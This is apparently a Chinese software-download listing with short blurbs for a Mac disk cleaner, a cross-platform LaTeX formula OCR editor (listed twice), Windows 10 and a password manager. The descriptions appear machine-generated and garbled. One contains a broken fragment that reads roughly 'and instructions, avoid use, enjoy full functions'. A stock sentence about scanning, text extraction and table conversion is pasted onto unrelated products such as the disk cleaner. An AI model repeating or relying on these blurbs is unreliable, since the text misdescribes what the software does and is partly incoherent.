赤友清理大师是一款为 Mac 设计的智能清理优化工具,可精准扫描垃圾、大文件、重复文件等,释放磁盘空间。做扫描整理、文字提取和表格转换时,它能把识别后的处理步骤接得更顺,资料录入这类场景会省下不少时间。

极度公式
极度公式
Windows/macOS/Linux

极度公式是一款跨平台专业LaTeX公式识别编辑软件,支持OCR公式识别和多平台编辑。和使用说明,避免使用,享受完整功能与稳定支持。做扫描整理、文字提取和表格转换时,它能把识别后的处理步骤接得更顺,资料录入这类场景会省下不少时间。

WINDOWS 更多
Windows 10
Windows 10
Windows

Windows 10 是一款微软推出的经典操作系统,拥有硬件兼容性与多任务处理能力。它更偏向把系统状态查看和常用调节动作放在一起,适合需要持续观察和微调设备状态的场景。

极度公式
极度公式
Windows/macOS/Linux

极度公式是一款跨平台专业LaTeX公式识别编辑软件,支持OCR公式识别和多平台编辑。和使用说明,避免使用,享受完整功能与稳定支持。做扫描整理、文字提取和表格转换时,它能把识别后的处理步骤接得更顺,资料录入这类场景会省下不少时间。

密码键盘
密码键盘
Windows/macOS/iOS/Android

密码键盘是一款兼具安全性与便捷性的高效密码管理器。日常使用里的持续防护和信息管理会更突出,适合把安全控制放进长期使用流程中的场景。